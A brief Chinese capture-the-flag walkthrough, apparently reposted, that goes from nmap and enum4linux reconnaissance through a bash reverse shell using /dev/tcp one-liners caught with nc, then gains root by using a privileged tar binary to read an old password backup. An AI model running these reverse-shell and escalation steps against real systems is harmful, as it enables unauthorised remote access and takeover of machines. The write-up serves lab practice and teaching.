开机显示ip也可以不用扫描
首先使用nmap扫描
去访问网页
使用dirb扫描这个网页发现并没有什么
查看原码发现ook解密
对其进行解码
得到一窜字符记下来，后面有用
在后面加上端口号访问是两个登录界面
使用enum4linux对网页进行扫描，得到用户名cyber enum4linux（smb专用扫描器）
结合上面解密得到的密码进行登录
在命令行中输入ls可以看见有user.txt文件进行查看可以得到第一个flag
进行提权
bash 反弹shell
bash -c ‘exec bash -i &>/dev/tcp/192.168.157.137/8888 <&1’ 先编写
触发
bash -i >& /dev/tcp/ip/1234 0>&1
kali使用nc 进行连接
连接成功开始提权
发现一个旧的密码文件，需要root权限才能执行，因为tar命令为root权限而当前用户也可以执行使用tar命令
先将将文件压缩，再解压即可
tar命令压缩解压该文件 ./tar -czvf pass.zip.gz /var/backups/.old_pass.bak如下最后查看后可得到一串字符
因为是root权限的pass命令的文件所以可能是root密码
su root提权成功
原文地址：http://www.cnblogs.com/fandt/p/16817121.html
1. 本站所有资源来源于用户上传和网络，如有侵权请邮件联系站长！
2. 分享目的仅供大家学习和交流，请务用于商业用途!
3. 如果你也有好源码或者教程，可以到用户中心发布，分享有积分奖励和额外收入！
4. 本站提供的源码、模板、插件等等其他资源，都不包含技术服务请大家谅解！
5. 如有链接无法下载、失效或广告，请联系管理员处理！
6. 本站资源售价只是赞助，收取费用仅维持本站的日常运营所需！
7. 如遇到加密压缩包，默认解压密码为"gltf",如遇到无法解压的请联系管理员！
8. 因为资源和程序源码均为可复制品，所以不支持任何理由的退款兑现，请斟酌后支付下载
声明：如果标题没有注明"已测试"或者"测试可用"等字样的资源源码均未经过站长测试.特别注意没有标注的源码不保证任何可用性
